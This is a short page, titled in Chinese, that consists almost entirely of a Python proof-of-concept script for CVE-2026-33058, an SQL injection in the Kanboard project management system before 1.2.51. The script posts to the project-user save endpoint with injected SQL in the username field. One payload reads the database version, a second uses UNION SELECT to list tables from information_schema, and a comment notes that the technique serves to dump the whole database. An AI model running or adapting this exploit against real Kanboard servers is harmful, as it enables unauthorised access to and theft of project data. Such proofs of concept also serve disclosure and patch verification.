CVE-2026-33058 Kanboard项目管理系统SQL注入漏洞

import requests import sys # CVE-2026-33058 SQL Injection PoC for Kanboard < 1.2.51 # Target: Kanboard application with project user management permission TARGET_URL = "http://target-kanboard-url" API_KEY = "your-kanboard-api-key" PROJECT_ID = "1" def exploit_sql_injection(): """ SQL Injection PoC - Extract database version information This demonstrates the vulnerability in project user addition functionality """ headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Malicious payload to extract database version via SQL injection # In real exploitation, attacker uses this to dump entire database payload = { "project_id": PROJECT_ID, "username": "test_user', (SELECT @@version)-- -", "role": "member" } endpoint = f"{TARGET_URL}/?controller=ProjectUserController&action=save" try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") if "version" in response.text.lower() or response.status_code == 200: print("[+] Potential SQL injection successful - database info leaked") else: print("[-] No obvious response, manual verification needed") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def extract_database_schema(): """ Advanced exploitation: Extract all table names from database """ headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Payload to extract all table names using UNION injection payload = { "project_id": PROJECT_ID, "username": "admin' UNION SELECT table_name FROM information_schema.tables-- -", "role": "member" } endpoint = f"{TARGET_URL}/?controller=ProjectUserController&action=save" response = requests.post(endpoint, json=payload, headers=headers, timeout=10) return response.text if __name__ == "__main__": print("="*60) print("CVE-2026-33058 Kanboard SQL Injection PoC") print("="*60) exploit_sql_injection()